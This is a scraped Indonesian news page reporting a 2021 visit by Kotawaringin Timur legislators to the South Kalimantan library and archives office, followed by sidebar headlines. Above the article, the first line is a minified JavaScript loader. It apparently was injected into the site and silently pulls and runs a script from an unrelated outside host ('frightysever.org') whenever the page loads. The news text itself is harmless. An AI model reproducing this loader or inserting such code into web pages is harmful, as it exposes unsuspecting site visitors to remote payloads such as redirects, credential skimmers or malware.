(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Dispersip Kalsel

Wakil Rakyat Kotim Lihat Pengelolaan Perpustakaan Palnam


KANALKALIMANTAN.COM, BANJARMASIN – Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kotawaringin Timur (Kotim) berkunjung ke Dinas Perpustakaan dan Kearsipan (Dispersip) Kalsel pada Kamis (7/10/2021).

Rombongan wakil rakyat Kotim tersebut dipimpin Ketua DPRD Kotim, Rinie bersama anggota Komisi III DPRD Kotim didampingi Dispersip Kabupaten Kotim diterima Sekretaris Dispersip Kalsel, M Ramadhan.

Ketua DPRD Kabupaten Kotim, Rinie memberikan apresiasi kepada Dispersip Kalsel dalam upaya meningkatkan minat baca dan literasi di Kalsel.

“Dari apa yang kami lihat dan paparan yang disampaikan Dispersip Kalsel, sungguh luar biasa. Apa yang kami dapatkan di sini juga dapat diterapkan di Kabupaten Kotim,” harapnya.

Baca juga : Masyarakat Gambut Antusias Ikut Vaksin di DPD Gerindra Kalsel

Rombongan wakil rakyat Kabupaten Kotim diajak berkeliling lingkungan kantor Dispersip Kalsel dan beberapa ruangan untuk melihat langsung kegiatan pengelolaan perpustakaan.

Dalam kunjungan kerja itu, ada beberapa pertanyaan dari wakil rakyat Kotim.

“Bagaimana strategi penganggaran, baik untuk kegiatan perpustakaan maupun kearsipan dan hal-hal teknis lainnya, khususnya mengenai kebijakan peraturan di bidang kearsipan, ” tanya perwakilan DPRD Kabupaten Kotim.

Menanggapi hal tersebut, Sekretaris Dispersip Kalsel, M Ramadhan mengatakan, langkah-langkah ataupun strategi telah ditempuh Dispersip Kalsel dalam rangka peningkatan kinerja, capaian prestasi yang berhasil didapatkan dan hal lain yang bisa menjadi inspirasi bagi daerah lain.

Untuk diketahui, Perda Provinsi Kalsel Nomor 1 tahun 2017 tentang penyelenggaraan kearsipan dibuat sebagai pedoman bagi penyelenggaraan kearsipan yang komprehensif dan terpadu di daerah. Selain itu, guna mewujudkan ketersediaan arsip yang autentik sebagai alat bukti yang sah. (kanalkalimantan.com/rls)

Reporter : rls
Editor : kk


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

15 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

15 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

17 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

18 jam ago

This website uses cookies.